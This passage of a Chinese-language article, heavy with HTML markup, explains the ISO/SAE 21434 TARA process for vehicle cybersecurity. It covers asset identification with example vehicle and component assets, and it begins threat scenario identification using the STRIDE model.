0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"></ul><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"></ul><h3 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 1.25em;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">TARA开展</span></strong></h3><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">法规未强制指定风险评估的具体方法，但要求过程必须系统、可追溯，并覆盖所有潜在威胁，在认证实践中，ISO/SAE 21434标准定义的TARA方法已成为行业事实标准，该标准将TARA分解为资产识别、威胁场景识别、影响评级、攻击路径分析、攻击可行性评级、风险确定、风险处理决策七个步骤，形成一个闭环、可迭代的风险管理流程，在本文中，我也主要以</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, \&#34;Segoe UI\&#34;, Roboto, \&#34;Helvetica Neue\&#34;, Arial, \&#34;Noto Sans\&#34;, \&#34;Liberation Sans\&#34;, sans-serif, \&#34;Apple Color Emoji\&#34;, \&#34;Segoe UI Emoji\&#34;, \&#34;Segoe UI Symbol\&#34;, \&#34;Noto Color Emoji\&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">21434中的方法介绍</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031738" alt="image" class="rich_pages wxw-img" data-ratio="0.4666666666666667" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=8928eaff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzhkuB5IKiazN5glVjKdxpYsH0Ayibpxwj7aDooxQnSJiaRmNtpCu23321Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">一、资产识别（Asset identification）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">根据判定结果，明确Item中可能被利用造成网络安全风险、需要保护的资产，包括物理组件、数据、功能等，并标注其安全属性（保密性、完整性、可用性、授权、不可抵赖性、真实性 - 21434里的3.1.20，除了有必不可少的属性，同时还对应后面说到的STRIDE模型）</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031735" alt="image" class="rich_pages wxw-img" data-ratio="0.39351851851851855" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=69d059b0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdz1yQE2WBgbuCohxlamuZ2gbqjlDY2noUvvOhsDicIW2qgicTibPkBNQa7g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">为了完整识别资产，避免遗漏，我们可采用以下单一方法或结合使用（RQ-15-02 NOTE 2）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">分析Item定义</span></strong><p><span leaf="">从已确定的Item边界、功能描述、初步架构和假设出发，直接提取资产</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">进行影响评级</span></strong><p><span leaf="">通过损害场景反向推导需要保护的资产</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">从威胁场景中提取资产</span></strong><p><span leaf="">基于已识别的威胁场景，追溯涉及的关键资产</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">使用预定义目录</span></strong><p><span leaf="">使用预设资产分类模板（比如外部实体/硬件、功能单元、数据流、数据存储），按类别逐一列出</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">整车级TARA需识别整车层面资产（包括集成交互），零部件级TARA只关注组件内部及暴露接口资产</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例</span></strong><span leaf="">：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">推荐预定义资产类型的方式，更快更方便，识别更完整：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p><span leaf="">整车TARA：除了架构图上的网络安全相关组件外，还有车辆对外暴露的USB接口（外部接口）、WIFI（功能单元）、无线射频（功能单元）、OTA（功能单元）等，还有在OTA更新功能中，资产可能包括：固件镜像文件（数据存储）、车机日志（数据存储）、OTA通道（数据流）、零部件间的通信（数据流）、IVI里的系统（功能单元）等</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><p><span leaf="">零部件TARA：调试接口（外部实体）、芯片（外部实体）、芯片间的通信（数据流）、芯片里的数据（数据存储）、芯片里的功能模组（功能单元）等</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">识别后的资产清单输出物示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031741" alt="image" class="rich_pages wxw-img" data-ratio="0.20555555555555555" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=e004a6bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzYE5AbiaOjm4OSlKkZaRmBWtEnXdgkwGaSMrMetTFPNCfWf8LAWuiaCkQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">TARA输出示例：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031742" alt="image" class="rich_pages wxw-img" data-ratio="0.6935185185185185" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=bb6316e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzRse4EjyZtOibKicxr8JdXpRdqBDuhkeCUEQdDyCgAuRGGV6tToPkibuYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h4 style="box-sizing: border-box;margin-top: 2em;margin-bottom: 0.75em;font-weight: bold;line-height: 1.25;font-size: 16px;color: rgb(26, 32, 44);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">二、威胁场景识别（Threat scenario identification）</span></strong></h4><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">威胁场景识别是TARA的核心步骤之一，在实践中，一般使用STRIDE模型辅助分类（Spoofing欺骗、Tampering篡改、Repudiation不可否认、Information Disclosure信息泄露、Denial of Service拒绝服务、Elevation of Privilege权限提升），从分类中分析威胁场景</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" nodeleaf=""><img data-imgfileid="100031740" alt="image" class="rich_pages wxw-img" data-ratio="0.22592592592592592" data-type="png" data-w="1080" style="box-sizing: initial;vertical-align: middle;border-style: none;max-width: 90%;background-color: transparent;object-fit: cover;margin: 1.5rem auto;display: block;box-shadow: rgba(0, 0, 0, 0.18) 0px 5px 11px 0px, rgba(0, 0, 0, 0.15) 0px 4px 15px 0px;border-radius: 3px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c38f7179&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaFJv52grsibvtcsSjRUyCh76AAPCb8vdzokI9wL52ANsBDzErTcdBpNKMzOzicoKtJFwTTsWvp28wic9SUd3t3mCg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">分析威胁场景目的是识别可能导致资产网络安全属性被违反（受到损害）的具体攻击方式，每个威胁场景必须包括以下核心要素（RQ-15-03）：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">目标资产：</span></strong><p><span leaf="">被攻击的资产</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">资产的网络安全属性受损：</span></strong><p><span leaf="">哪个属性（保密性、完整性、可用性）被破坏</span></p></li><li style="box-sizing: border-box;margin-top: 0.25em;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">网络安全属性受损的原因：</span></strong><p><span leaf="">攻击者是怎么做到的</span></p></li></ul><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><strong style="box-sizing: border-box;font-weight: bold;"><span leaf="">示例</span></strong><span leaf="">：</span></p><p style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">针对特定资产，使用STRIDE模型识别，注意要包含上面提到的核心要素：</span></p><ul style="box-sizing: border-box;margin-top: 0px;margin-bottom: 16px;padding-left: 2em;color: rgb(44, 62, 80);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Roboto, &#34;Helvetica Neue&#34;, Arial, &#34;Noto Sans&#34;, &#34;Liberation Sans&#34;, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.32px;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><strong 